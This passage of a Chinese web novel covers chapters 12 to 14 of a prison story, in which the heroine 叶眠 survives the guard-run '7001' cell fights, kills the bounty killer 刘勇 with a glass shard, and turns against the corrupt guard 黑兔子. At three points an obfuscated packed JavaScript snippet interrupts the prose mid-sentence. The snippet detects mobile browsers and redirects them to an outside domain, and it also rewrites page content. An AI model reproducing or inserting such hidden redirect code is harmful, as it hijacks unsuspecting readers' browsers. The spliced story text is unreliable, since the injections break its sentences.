关于禁制环,报告里话没说死,但永久丧失异能威胁当头,法蒙的态度又不会动摇。等出狱之后,最好尽快行动。
叶眠心中杀机涌动,但她先把这件事放到一边。
目前最重要的还是离开监狱后,怎么在陆风眼皮子底下保全自己。直接说,老大,你枕边人换了个芯子?
那可是反抗军指挥使。
“姐,有办法联系到典狱长吗?”叶眠问道。
她并不觉得自己擅长温柔小意,但形势所迫,不得不提前了解情况,做好应急规划。
“这你得找王五,”她说,“他今天下午值班。”
胖子今天没来,叶眠有种不好的预感,一过中午就去找了王五,但他也表示无能为力。
“只有典狱长找我,没有我找他的情况。而且,他也基本不在办公室,偶尔来一次,神出鬼没的。监狱那边,应该是黑兔子跟他接触的多一点,因为新狱长似乎无意改变C监秩序,最近他可谓是春风得意。”
“黑兔子?”有点耳熟的名字。
“他负责后勤资源分配,算是狱警里的小头目,”王五说,“本来是老狱长的狗腿子,管着多人间的小游戏,现在见风使舵,倒了法蒙。”
叶眠眯眼。
“那能联系到他吗?”
“如果你要回监狱区的话,可能会在安检处见到他。”
今天没有胖子的消息,又听说了黑兔子这个角色,叶眠决定去监狱区一趟。
她说自己要回牢里拿东西,护士给她开了通行条,嘱咐她要按照上面的时间准时回来。
叶眠怀着点忐忑的期待,顺畅地走出了医院大门。
迎面是铁丝网与高墙,向后包裹住整个医院区,连阳光都落不到地上。摄像头的红光实时锁定附近的所有移动对象,自动枪械的枪口无死角普照。
叶眠彻底明白,为什么自由帮没试图从医院越狱了。
除非解决禁制环,但这样就又绕回去了,内置芯片实在不好处理。
——C监的防守实在是有疏有密。
水泥路的尽头,是重装把守的检查站。
一支枪口顶在头上,扫脸,身份识别通过。
禁制环检查通过,批完通行条,其中一位带叶眠走到隔间,反手带上门。
“脱衣服。”是个女声。
叶眠很有囚犯的自知之明,干脆照做。
女狱警熟练地捏过她的四肢,又检查了舌下、牙后等地方。确认叶眠没有携带医院的东西出来,她点头:“谢谢配合。”
穿戴整齐后,两人出了隔间。叶眠站到关卡前,说:“我想找黑兔子。”
“找头儿?”旁边的男狱警表情微妙,看向女狱警。
叶眠眉毛一动。
女狱警语气平静:“他不在。6区是吧,我带你回房间。”
叶眠只能跟上。
*
第一次进入C监,这座监狱比她想得要更宏伟一些。
她们首先经过9区,9区是一栋长条形的建筑,整体的色调是黑灰色的。
从9区底层走廊向上,一眼看不到屋顶,只能看到一片漆黑。很高的建筑,无法想象一共有多少层,容纳了多少人。
鞋底踩在地板上,脚步声回荡,但囚禁者的声音却听不到一分一毫。每间牢房外都有独立的钢板与电网,实时监控投影在外墙,叶眠能看到里面的人,睡觉的、发疯的、蜷缩不知死活的,总之,没有任何声响。
这就是寂静的重犯死囚9区,如果死立执判决下来,叶眠会在这住到处决前。
三个穿着灰色制服的狱警,压着一个摇摇欲坠的囚犯从叶眠身边路过。
那人骨瘦嶙峋,囚服空荡荡地挂在身上,露出半个皮包骨的肩膀。他被狱警拽得一个踉跄,喉咙里发出一声痛吟。
“烟花姐怎么在这?”其中一个看到叶眠身边的女狱警,亲亲热热地喊。
“送人。这是?”
“6区的。纺织任务累计三天没完成,准备把他送到七人间呆两天。”另一人嬉皮笑脸,踹了一脚死囚的后背,叶眠感觉自己好像听到了骨折的声音,果不其然,那囚犯立刻开始惨叫。
“还叫!”
又一脚。
叶眠移开视线。
“烟花姐见笑啦,”开口的人语气依然友善,“今天的7001可有意思了,三个非9区的犯人,这个半死不活的是癌症晚期,还有一个残疾,能打的就剩个胖子,我都能预见到9区重犯的压倒性胜利了。”
叶眠心一沉。
“那个胖子听说是头儿亲自抓来的,入狱之后一天日常指标都没做过,拿着病历当护身符了。”第三个人十分嫉恶如仇。
关键词重叠度太高了,叶眠嘴角下坠。
“我倒是觉得,光看9区重犯虐非9也没意思,”烟花语气淡淡,“还是势均力敌更有趣。”
“哈哈哈哈,烟花姐懂!但老猪下台,太久没见到大出血啦,生死台一关,兄弟们憋坏了,最近终于摸清新狱长也是个放手掌柜的性子,头儿说把7001开起来玩玩。”
跟那三人错过,叶眠拽了拽烟花。
“七人间会死人吗?”
“你说7001?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224742|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大多数时候不会,”烟花说,“但如果太久没人出血,那些囚犯会揣测狱警的心情,故意下重手,弄些血腥给他们看。”
叶眠终于见到叶绵绵的房间,很朴素的单间,地上的血迹已经被处理干净,看不出一周前的惨案。
6区跟9区比,气氛更缓和一些。牢房没有独立钢板,甚至可以跨房聊天。她隔壁坐着一个老头,靠在墙边闭目养神,没见胖子的身影。
“今天太晚了,明天我送你回医院。”烟花看了眼她的通行条,说完就要离开。
“拉米亚纳今天回来了吗?”叶眠抓住隔间的金属栏杆,语速飞快地问那个老人。
“没回。”他眼都没睁。
叶眠立刻转向烟花:“麻烦您,我想去7001。”
烟花皱眉,第一次见人上赶着找死的。她看了眼叶眠头上的绷带,隐晦地劝了一句:“你都听到了,今天会很惨。”
“胖子是我朋友,”叶眠咬牙,“等我出去给您报酬。”
烟花看她半晌,最终还是拿出对讲,问了一声,然后回头跟叶眠说,“他们说正好六缺一,但你确定要去?”
叶眠点头。
今晚她不去,胖子是死局。
“不懂,”烟花咕哝着,重新打开了她的房门,“你们这些囚犯之间竟然也有点真感情。”
“抱团取暖罢了。”叶眠叹气。
她们搭了顺风班车回到9区。
登上电梯,烟花警告她:“9区的重犯基本都上过一轮生死台,他们下手很狠,虐杀那个站都站不稳的癌症晚期或者残疾人没有看头,你去了和那个胖子就会是他们的主要围剿目标。”
“我懂,”叶眠点头,“禁制环不开是吧?”
“又不是生死台,七人间只能算小消遣。”烟花按开电梯,两人走进9区13层。
“镣铐解开吗?”叶眠晃了晃手腕上的铁铐。
“当然不解。稍微特殊一点的多人牢房,又不是打黑赛。”烟花耐心耗尽,看到一个路过的狱警,顺手招呼,“7001的,你带一下。”
“烟花姐!稀客稀客,”那人满脸堆笑,“今天头儿亲自来了,您要不一起坐坐?”
他伸手来拽叶眠,叶眠一躲,咳了两声假装是碰巧。
狱警没察觉,依然热情:“这个伤了脑袋的,不会就是那个278吧?烟花姐竟然能从医院把人抓过来,哎哟,我得加压一手。”
烟花一听黑兔子在,犹豫了一下:“你带路,我看两眼就走。”
她一手攥着叶眠手腕,狱警走在另一边。三人并排,叶眠旁听,逐渐摸清了C监“七人间7001”的规则。
——完全是利用了监狱规章的灰色地带。
“一间牢房上限七人“、“未完成日常指标酌情禁闭”等明文规定,成了狱警们钻空子的掩护。他们采取胡萝卜加大棒策略,把“没说不行就是可行”用到了极致。
他们每期都往7001房放入9区危险囚犯,如果重犯用暴力讨好狱警,回单人间后就能获得优待。这是死囚们为数不多改善生活的途径,因此他们不遗余力地制造各种血腥效果。
如果非9区犯人试图团结反抗,“活动”结束后会受到惩罚,狱警借此传递出一个信号:只要有人牺牲,就能保全自己,所以弱者之间的博弈与背叛,每分每秒都在上演。
最后,开设赌局,压重犯是否能取得上风。赌注不大,但这群狱警很乐于在这种事情上争个胜负。
叶眠被推进7001的时候,烟花低声说:“希望你能活着出来。”
叶眠松了松手腕,和善地冲她一笑。
12. 第 12 章
“烟花?你怎么来了。”黑兔子好像有些惊喜。
但其实,从烟花进入13楼的那一刻,他就已经知道了——烟花要把278号送进7001。
为此,他刚发完一通火,毕竟是唯一得过法蒙特殊关照的犯人,如非必要,他并不想正面对上叶眠。
如果叶眠在场,一定能听出,这个黑兔子,就是她刚做完手术时,领着钢牙和老鼠抬走256尸体的那个“头儿”。
他长了张方脸,四十岁左右的年纪,看下半张脸一副老实的模样,但看眼睛却是满当当的算计,令人心生不适。
烟花从鼻子里嗤笑一声:“怎么,当了法蒙的狗腿子,他才允许你继续办你的小活动?”
“比起萨利,法蒙确实是更好的狱长,”黑兔子不太赞同地说,“你为什么对他敌意那么大?”
“给你放权就是好狱长,他怎么不让你接着办生死台,怎么不给你往上晋升,送你个副狱长之类的位子?”
在烟花看来,法蒙跟萨利都是一丘之貉,无非一个撒手放权、一个亲自上手。C监风气永无肃清之日。
黑兔子脸色一沉:“我无意谋权。”
“是不想,还是不能?”烟花笑了。
谁都知道C监自治,最上面管理层的位置可都是香饽饽,只可惜,普通人出身的黑兔子,一时半会儿看不到上位的可能,只是衬着法蒙不管事的机会做两天土皇帝罢了。
自从在萨利手下拿到后勤部一把手的位置、不遗余力地按着萨利的想法做事,到现在,他已经完全被自己的所作所为同化。
烟花顺手从手边的烟盒里抽出一支,叼在嘴边。
旁边的狱警察言观色,立刻弯着腰给她点上——这位姑奶奶是外围保卫部的,不争权,但很能打,所以他们一般不会轻易招惹。
“下注吧,”她吸了一口,咬着烟嘴说,“给我压非9能活,五万。”
周围顿时哗然,黑兔子的表情也稍微一动:“压9,全杀,十万。”
烟花跟他对视一眼,读懂了他眼中莫名的胜券在握。
她有些奇怪:“完全不在乎死亡率了?”
“不必担心,”黑兔子扶了扶鼻梁上的眼镜,笑了一下,意有所指,“新狱长是务实的性格。”
烟花移开目光,在心中默默地想:兔子,你真知道后果吗?
萨利为了控制死亡率,一个月只安排一次生死台。看看现在的7001,你是自信法蒙会睁一只眼闭一只眼,还是单纯膨胀过头了呢?
此时,7001里的叶眠正在打量这间特殊的牢房。
跟她预想中的铁笼单间不同,进门是类似客厅的空间。对面的墙上,两道紧闭的门连通着卧室,还有一道门是卫生间,门板上镶嵌着雾面玻璃,棕色油漆喷出一个“厕”字。
金属长椅,金属方桌,都被固定在地上无法移动。桌子上的餐盘外掉着点食物碎屑,灯光惨白,她没看到人。
叶眠抬头,在“客厅”四角发现了四台摄像机。
狱警就在监视器后面看戏。
客厅到洗手间门口有陈旧血迹,但不是三内天留下的。叶眠走过去,扭动把手,发现打不开。
她敲了敲门。
——没有回声。
叶眠后退两步,打量着这道门,心里有了点想法。
她用指关节敲了敲玻璃外围,声音略有点闷,但似乎并不厚。
估摸着差不多能打碎,她将镣铐锁链缠在手上,直拳冲出!
“你不要过……叶眠?”一声带着抖的暴喝,戛然而止。
胖子满脸伤痕,浅金色的发丝被血糊黏成一绺一绺的,眼周乌青肿起,把眼睛挤成了一条缝。他手里握着一根拖把杆,在看清来人后,长杆颓然落地,发出“咣当”一声。
“你怎么也……唉,完了。”
叶眠没料到他凄惨到这样,开始先愣了一下,然后心中就窜起一股无名火。
“谁打的?”
胖子迟疑:“什么?”
叶眠深呼吸,重新冷静下来。
根本没必要再问。
很显然,9区重犯还没到位,不然在她进门的那一刻,招呼过来的应该是9区犯人的拳头,而非安静祥和的空气,和一个只脸上挨了几拳的胖子。
把他打成这样的,只能是黑兔子,或者是在他授意下的狱警。
她撤出洗手间,推开卧室的门,瞥了一眼墙角的监控。
因为刚刚叶眠果断打破玻璃的行为,监控室里窃窃私语的声音越来越大。
黑兔子皱眉,问旁边的人:“9区的人,还没到吗?”
“马上到,马上到,”被问话的狱警立刻回答,“五分钟内。”
“今天选的都是以前喜欢虐杀的死刑犯,”他把头凑近,压低声音:“已经按您说的,给他们……”
黑兔子看了眼一无所觉的烟花:“行。”
——他不会输。
相反,好不容易在他的场子里对上烟花,他急切地想赢得漂亮,并且让她看清楚,C监是如何受他掌控,这些犯人是如何如同玩偶,为了讨他欢心、不择手段。
黑兔子把视线投向画面中的278号,压下了心中最后一丝不安。
叶眠自然不知道外面发生的事。
她在第一间卧室看到了那个瘸子,他的右腿从膝盖以上被整个截断,跟叶眠对上视线的时候,他嘴边还带着点食物残渣,满脸仓皇。
然后她又在第二间卧室看到了那个癌症晚期的病人,后者躺在床上一动不动,如果不是胸前还有轻微起伏,叶眠以为他死了。
两间卧室的布局都一样逼仄,各有两张上下床。显然这两个人深谙“鸡蛋不能放在同一个篮子里”的道理,但等重犯到位,结果大概并不会因此改变。
“叶眠,你不是应该在医院吗?”胖子跟在她后面,十分不解,“为什么会在7001?”
叶眠没吭声:救你,我亲爱的朋友。
“唉,”胖子看着她关上房门、回到客厅的举动,满脸死志,如丧考妣,“今天有三个9区重犯,你来也是送死。”
“时间紧迫,我们得列个计划。”叶眠说。
计划?
胖子没懂,但他听懂了她的潜台词:还没完。
“怎么说?”
“我能杀掉赏金杀手256,所以,身手还算不错
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224743|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”叶眠晃了晃手上的镣铐,在打破厕所门板的时候,她手上破了皮,血色蹭在银手镯上,晃过胖子的眼睛。
“你跟一个重犯单打独斗当然没问题,但对面有三个战力,我们加起来,顶多算一个半,”胖子实在地说,“我最多算半个。”
“不需要你打败一个,只要能拖住一个就好。”她说,“他们三个一起进门,我秒杀第一个,你拖住第二个,等我杀了第三个,再来帮你。”
好……好简洁的计划!
胖子懵了懵,还没来得及开口质疑,叶眠已经在给他讲动作要领了:“主要注意他的手,把他压倒,依靠你体重上的优势。我先出手,自然会吸引他的注意力,你从侧面进场,最好能把他扑倒。”
“制住对手,并保护自己不受伤,明白?”
胖子咽了下口水:“明白。”
“相信你自己,也相信我。”叶眠说。
她走进无法锁住的洗手间,捡起那根卸掉拖把头的木杆,塞回门口的胖子手里:“看情况用。”
就在此时,牢房门被缓慢推开。
人还没进来,轻飘飘的半句话先传到两人耳边。
——“C监比外面还自由,我爱死这里了。”
9区重犯鞋尖刚跨过门框,叶眠同步轻盈弹起。
第一脚,直奔下盘。
目标,膝窝!
然而,对手跟上了她的速度。
在意识到受袭的同时,他判定膝盖受伤在所难免,硬是稍微扭身、重心下压,他忍着痛意,用一个不太好看的动作,完成了缓冲。
胖子跟他身位交错,按计划扑向第二个犯人,一记泰山压顶,竟然打出了视死如归的气势。
叶眠一击不成,立刻更改策略。
对手身体强度比她高,但他膝盖剧痛、无法下蹲,所以最佳突破口,仍是下盘!
她身体伏低,几乎是贴地滑行,重新拉近后,伸腿横扫。
目标,脚踝!
好刁钻的攻势!
对手心中凛然,仓促抵挡,但他两手一翻,竟是抓住她脚踝,一扯!
“抓到你了!”他眼神狠辣,开口时齿间银丝粘连,仿佛黏糊的蛛线。
叶眠被拽到悬空,两人视线相接。犯人话音刚落,心中警铃大作:她居然毫无波动,看他的眼神像在看死人。
明明落入劣势,为何面不改色?
叶眠胸腹大敞,仿佛无所顾忌。
犯人双目一瞪:机会!
不对!
双手刚被占用,他来不及改招攻击,是陷阱!
在发觉她意图的那一瞬间,他好像被烫到一样松开双手,但破绽转瞬即逝,慢一招、满盘皆输。
叶眠躯干发力、迅速蜷起身体,像蛇一样贴了上来。
——她靠对方的攻击完成了拉近,甚至来得及调整发力姿势,而她挂着铁铐的手,从头到尾都是自由的。
重犯后仰,试图躲避,但叶眠铁镯之间的链子迅速放收,精准套中了青筋暴起的脖颈。
两人完全相贴,仿佛一个亲密的拥抱。
“谢谢配合。”
叶眠说完,两手交叉,勒紧!
13. 第 13 章
绞杀结束,第一个犯人的身躯重重砸到地上,发出一声沉闷的撞击声。叶眠起身,松了松被铁链勒出红痕的手。
监控室内,黑兔子稍微偏头,转向一旁。
刀子一样的眼神落到脸上,带来一种火辣辣的痛感。负责安排名单的狱警只能把头低得更狠:“他们三个……实力确实也有差距……”
黑兔子声音很稳,甚至带着点轻柔笑意:“那么,被胖子控制住的废物,还有被278几乎秒杀的垃圾,跟我们最后剩下的‘独苗’相比,实力相差多少呢?”
但狱警脸颊一滴冷汗,无声无息地滴到了桌子上。
“头儿,我保证,”他咽了口唾沫,“他绝对比前面两个强很多。”
“我不在乎这十万块,”黑兔子伸手帮他理了理衣领,像个和善的领导,“但是,别让我在她面前丢脸。”
他五指骤然收紧,狱警连声答道:“是,是……”
7001内,胖子死死地压在中间的矮个犯人身上,效果出乎意料的好。
脸上冒汗,流到眼睛里、浸入伤口里,但他忘了疼,也完全没意识到矮个脸色发青,几乎是出气多进气少。他紧张到不停讲话:“没事儿,放松,没事儿,过会儿有你的机会,别急。”
门口站着的第三个人,旁观他们动手,毫无作为,直到现在。
“叶绵绵,”他清晰地喊出了这个名字,歪了歪头,语气好奇,“就是你,杀了刘毅吗?”
“刘毅?谁?”叶眠警惕地问。
刚刚就是这个声音,说了一句C监比外面自由,所以其人秉性如何,可想而知。
“我是刘勇,赏金杀手排行第97,”他走近,直接无视了地上求救的矮个,满眼兴味,目标只有叶眠,“刘毅是我弟弟,或者你更熟悉他在C监的号码,256号。”
叶眠瞳孔微缩。
——256,是他。
叶绵绵杀的最后一个人。
监控室里,黑兔子正在听狱警的解释:“……刘毅实力比他哥弱,刘勇身份暴露被抓入狱后,他冒用刘勇的名号,想赚钱捞人。一个多星期前,他主动把自己送进了C监,不清楚是接了谁的委托,结果就是翻了车……这事被刘勇知道了,他主动要求会会叶绵绵。”
“赏金杀手前百,”黑兔子摩挲着下巴,微微一笑,“这才像话。”
哪怕那个278号技术再高,想必也打不了前百的专业杀手。
狱警也看着监控里的画面,稍微自信了一些。
他说:“刘勇在黑网当杀手干得束手束脚,但在C监的环境里,反而如鱼得水。他之前上过两次生死台,在7001也杀过几次人,278号对上他,绝对讨不着好。”
叶眠正跟刘勇对峙。
“是我杀的,”她干脆地说,暗中调整呼吸,“但是事出有因。”
到这里,她好像有点明白了为什么278号在狱警中有点声望——她杀了名义上的“刘勇”,而有部分人又清楚,真正的刘勇与她注定有一场复仇之战。
“有不有因,不归我管,”刘勇说着,终于放下了作态假面,杀意爆发,“我只要你,偿命!”
他也带着镣铐,但招数却大开大合,出拳如风,指节擦过了叶眠的太阳穴,带起了一道血线。
好快的速度!
叶眠后仰,避开连续攻击,看准一个气口,链条哗啦一响,她屈膝撞向刘勇腹部,对方用膝盖在半空截住。
骨肉相撞的闷响中,叶眠的镣铐链条绷直,和刘勇的铁链绞在一起,两人手臂肌肉因短暂角力而颤抖。
刘勇突然拧腕,铁链“咔”地卡进叶眠腕骨缝隙,鲜血立刻顺着银链滴落。
叶眠咬牙,刚准备放弃正面对抗,结果刘勇突然暴起,镣铐的一半竟从他左手手腕脱落——锁扣被做了手脚!
他竟然能自行打开手铐!
这可不是断网的医院,但监狱区警报也没有响动!
叶眠心中震动,但表面毫无异色。
她第一时间全力后撤拉开距离,还是没能完全躲掉,铁链如鞭,抽中叶眠手臂,一道深刻血痕出现。
她受镣铐局限,甚至无法用另一只手捂住伤口,只能踉跄后退几步,停在墙壁之前,如同陷入劣势的困兽。
刘勇甩着解脱的右手,五指不断弯曲伸直,仿佛在把玩匕首之类的短刀具,保持着他作为杀手的手指灵活性。而他的左手手腕还挂着那做戏的半副镣铐,一晃一晃,反射着银光。
“本来没想到这一步的,但黑兔子想看你死在这,最好惨一点……”他舔了舔嘴唇,露出一个兴奋又狰狞的笑容,“而且,我也不想看到你再活那么久了。”
他甩着金属链冲来。
那不再是困锁他的镣铐,而是不会脱手、无法被抢夺的武器。在这个金属器具都受固定的房间里,这半副金属手铐,无疑是最大的杀器。
监控室里的人目睹了一切。
所有人都知道,这是违规的。
哪怕C监自治,最基本的监狱规章也不是能这样打破的。
手铐打开了,但警报并没有启动,烟花豁然起身,眼神没有离开监视器。
也有其他人大着胆子偷瞄黑兔子的神色,而那张脸仿佛焊上了平静的面具,不肯露出任何马脚。
“如果这件事捅到法蒙那里,兔子,他是个军人,你明白吗?”烟花在看到监视器中两人拉开距离后,把脸侧向了黑兔子,“你现在拥有的一切特权都会化为乌有,甚至更严重一点,你会被告上审判庭,死刑执行。”
黑兔子突然笑了:“你在心疼我吗,烟花?”
他也起身,站到了烟花的身边,保持着近乎耳语的亲密距离,把几个带着余温字眼送到她心头:“离婚这么久,你还会担心我吗?”
有那么一瞬间,烟花以为自己听错了。
——毕竟这世界上,鲜少见到如此厚颜无耻之人、没有d数之人。
“……我以为你会有些长进,”她放弃了跟他争辩的想法,“不要活在自己的世界里了,睁开眼睛看看吧,什么是现实、什么是正确。”
黑兔子不慌不忙地扫过监控室大家的脸色,甚至有些自得地说:“这就是现实啊,我创造的现实。”
“那她呢?”烟花指了指监控屏幕,“这也是你选择的现实吗?”
画面内,叶眠双手短暂拢住了刘勇的脖子。后者一脸不可置信,但颈侧血液不断涌出,染红了叶眠的手指和袖子,也染红了他的衣领。
黑兔子得意的表情凝固在上一秒钟,滑稽得像是被人按下了暂停键。
“不……不……”
他终于行动了,三两步冲到显示屏前,抓住屏幕边缘,手指因发力而泛白。
他的震惊不亚于被叶眠抹了脖子的刘勇,甚至更有过之。
“这怎么可能!”
其实,监控室里有好几个人看清了叶眠的动作,但没人知道,她到底是什么时候拿到了玻璃碎片,怎样把玻璃碎片藏在身边,又是如何决定把自己脆弱的脖颈送入对方手中,在窒息休克的边缘,一击反杀!
时间拨回到一分钟前。
叶眠看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224744|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着仿佛已经确信胜利的刘勇,却偏头给了胖子一个安抚的表情。
胖子的焦躁被迅速地抚平,他想:反正我帮不上叶眠,那至少,这个明显弱势于他的矮个子,还是可以处理掉的。
刘勇不满:“这种时候,你竟然还有空想别的?”
“当然,我还能想到你弟弟,”叶眠说,“他外凸的双眼,惊恐的表情,不甘的、大张的嘴……”
“闭嘴!”刘勇表情扭曲,彻底暴露了戾气与失控,“他已经很谨慎了,接的任务都是比较简单易于完成的,而你背后的人,散布虚假信息,害他来监狱送死!”
我背后的人?
叶眠心想,我的背后空无一人,只有胖子在前面,一招泰山压顶,已经压了一刻钟了。
“他可不是送死,他想杀我在先,”叶眠继续说,“事出有因,我只为自保。”
“任务对象没有发言权,”刘勇猝然加速,“他没完成的任务,由我来完成!”
叶眠垂着手,任由他抓住了自己的脖子,把自己提离了地面。
窒息的感觉并不好受,心跳加快,口鼻刺痛。
她脑袋上的刀口久违地开始疼痛,那是因为血压,泵起的血液涌上头顶,眼前阵阵发黑。
“他给你留了一句话……”叶眠用混着嘶声的气音说。
明知这是她最后的挣扎,但刘勇的自信让他认为局势已经完全在自己的掌控之中。对手脆弱的脖子被自己锁住,只要再用力一些就能折断。
他语气闲适,仿佛戏弄:“说。”
两人之间的距离拉近了五公分。
叶眠垂在身前的手突然上甩,划出一道弧线。
在刘勇的视角中,这段距离不够叶眠用出绞杀,他很安全,所以他躲避的幅度有限。同时,他手中发力,只要几秒,他就能掐死这个杀了他弟弟的仇人。
然而,事情发展跟他想得并不相同。
疼痛传来,这不是人类指甲能制造出的效果,而是真正的利器割破了他的脖子。
血液喷溅,带走了他的力气,也拖垮了他的意志。刘勇失控地松开了对叶眠的桎梏,他一手捂住脖子,脸色从讶然转到惊惧,终于,在低头看清一手血红的瞬间,他目眦欲裂!
是什么?!
在这间牢房里,为什么会有能轻松划破皮肉的武器!
他猛然抬头,虽然双腿已经几乎撑不住身体,但他表情可怖,死死盯住叶眠。
叶眠捂着脖子,猛烈地咳嗽了一阵。出于谨慎,她跟刘勇拉开了距离,并且利用走步,巧妙地跟他、胖子站成了一个三角形。
“既然你作弊了,怎么不允许我开挂。”她稍微哑着嗓子说。
是什么?!
叶眠看得出他的执着,无奈地摇摇头,伸手,亮出一块被浸成红色的玻璃残片。
刘勇如遭重击,他猛地看向洗手间门口,那一地碎玻璃,反射着惨白的灯光。
在监狱里呆了太久,原本磨练到敏锐的战斗直觉悄然退化,他终于意识到——自己懈怠了。
力气逐渐流逝,他撑不住了,下一秒,这位昔日榜单前百的杀手跪倒在地。
叶眠若有所思:“说真的,谁会来暗杀我呢?不过,谢谢你的提醒,我以后会多关注一下黑网上的信息的。”
她脚步轻快地走到已经几乎失去意识的刘勇身边,稍微抹了抹三角形碎片上的血,利落而无情地补刀,彻底结束了他的生命。
“你别说,还真巧了,叶绵绵杀的最后一个人是你弟弟,而我开刀的第一个人,是你。”
14. 第 14 章
在胖子震撼又钦佩的眼神中,叶眠单手扶墙,弱不禁风地咳了两声。
“喂!”
“好了好了,”叶眠笑了,“你单挑赢了,他昏过去了,不需要我了。”
胖子低头一看,果然那人没了动静,双眼紧闭。
他挠了挠头,从地上爬起来,似乎还没从劫后余生的惊险情绪中脱离:“这就完了?”
“嗯,结束了,”叶眠抬头看了看监视器,“会有人守护剩下的程序正义的。”
-
监控室内,从刘勇跪倒的那一瞬间开始,原本紧张的气氛就变为了死寂。
烟花指尖无意识摸过枪套:“那么,没问题的话,我就去接人离开了?”
按照监狱的明文规则,同室斗殴产生恶劣伤害,应暂停禁闭,优先送医,保卫部合法介入,任何人无权干涉。
黑兔子的眼睛里疯狂之色闪过:“你会告发我吗?”
烟花摇头:“我怎样,不重要,重要的是只要有一个人把事情捅上去,典狱长就不能轻拿轻放。”
黑兔子能把这个娱乐项目发扬光大,主要因为暗合狱警们心意,所以他们乐得捧他臭脚。而现在,明确的严重违规摆在眼前,再加上滥刑、虐待、越权……足够把他拉下高座。
谁不想当下一个“头儿”?
黑兔子慢慢扫视在场诸人,他们心思各异,体现在脸上也是相当五彩斑斓。
“你能堵得住所有人的嘴吗?”烟花没有继续说下去。
“如果我能呢?”黑兔子阴沉地笑了笑,若有所指地看向烟花。
“7001的受害者,受我保护。”烟花也沉下脸,她不再犹豫,转身离开了监控室。
黑兔子碌碌追求半生,被权力金钱蒙蔽了双眼,不自觉走上歪路,业果已成,仍然执迷不悟。
她想:明明一开始的那个人,眼神清澈、心怀正义,怎么落到这一步的呢?
走到空无一人的7001门口,她在电子锁中输入密钥,牢房大门打开。
叶眠有些虚弱地靠在墙壁上,闻声抬头:“黑兔子怎么样?”
“一眼看得到头了。”
说的是他的仕途,也是他的生命。
烟花想了想,又补充:“万一他回心转意自首,把责任往萨利身上推,可能会被判死缓。”
“那不好,”叶眠立刻说,“我看还是得死立执,你觉得呢?”
烟花默了默,不知道是她过于敏锐,还是歪打正着。
“无论结果,都是他应得的。”她说。
叶眠招呼胖子:“走吧,我们回医院。烟花姐会把我们送回去。”
烟花看了一眼时间,还有两个小时天才亮,但是话都到这了,她也没说别的。
三人一路无言,过了检查站。
烟花把通行条叠起,说:“剩下的,我就不跟你们一道了。”
“烟花姐,多谢,”叶眠认真地说,“黑兔子的下场只会也只能是死刑。”
叶眠不会在C监里呆很久,所以她要杀鸡儆猴,不留一点机会。
黑兔子一时不死,就会有下一个心存侥幸的红兔子、蓝兔子出现。私人恩怨放在一边,这是原则和纪律问题,不容模糊。
她准备找法蒙告状,把作壁上观的典狱长撕下来,踏实地为C监做点事。
“不知道你怎么猜到的我们关系匪浅,也不知道是什么给了你‘我对他余情未了’的错觉,”烟花整理了一下衣领,又摆正了腰间的枪口,心平气和地说,“我一向对事不对人,但兔子,他确实烂到根了。”
叶眠跟胖子穿过那段高墙下的水泥路,她身上披着探照灯的光亮,仿佛加冕的长袍。
烟花站在原地,看着她俩一胖一瘦的背影,从口袋里掏出烟,在天亮前的冷风里,就着颤颤巍巍的火,点上。
烟头一点红光驱散了一小片黎明前的薄雾,她沉默地抽完一支烟,转身回了检查站。
-
“……扶我一下。”叶眠伸手。
胖子一愣,但还是照做。
“我好晕,”叶眠喃喃地说,“头痛。”
打架打得太爽,忘记自己还是个伤员了。
胖子:“去急诊吗?”
“回病房就行,我等早上护士来,”叶眠有点累,“好想睡觉。”
胖子絮絮叨叨:“叶眠你不要有事啊。”
叶眠躺到床上:“不至于,我睡了。”
只能说,今晚有惊无险,好在一切顺利。
-
【叶眠术后第八天】
叶眠睁眼,就看到了护士熟悉的表情——三分谴责,三分担忧,四分恨铁不成钢。
“要去拿东西?嗯?拿了什么回来?”护士嘴不留情,“拿了个被揍成猪头的朋友回来。”
叶眠一动,就发现自己的头上似乎上了外支撑架。她小心翼翼地伸手摸了摸,眼睛瞪大:“我怎么顶着一个铁架子?”
“塑形器被提前吸收完了,只能用外框架支撑一下了,”护士无情地说,“昨晚又打架了?这次杀了谁?”
叶眠想起这个,竟然还有点眉飞色舞:“赏金杀手榜第97,知道吗?单杀欸。”
另外两个生死不知的就随便了,生死有命富贵在天。
“那你还挺厉害,”护士“哼”了一声,“老实躺着,不许出病房。”
叶眠眨眨眼:“姐,我想联系个人,借我终端用下?”
“谁?”
“典狱长。突然想起来,我有他的间接联系方式。”
叶眠成功联系上了沈舒云,并且拜托她代为转达:C监278号约他病房一见,括号,因为他的管理不当所以重伤版,后括号。
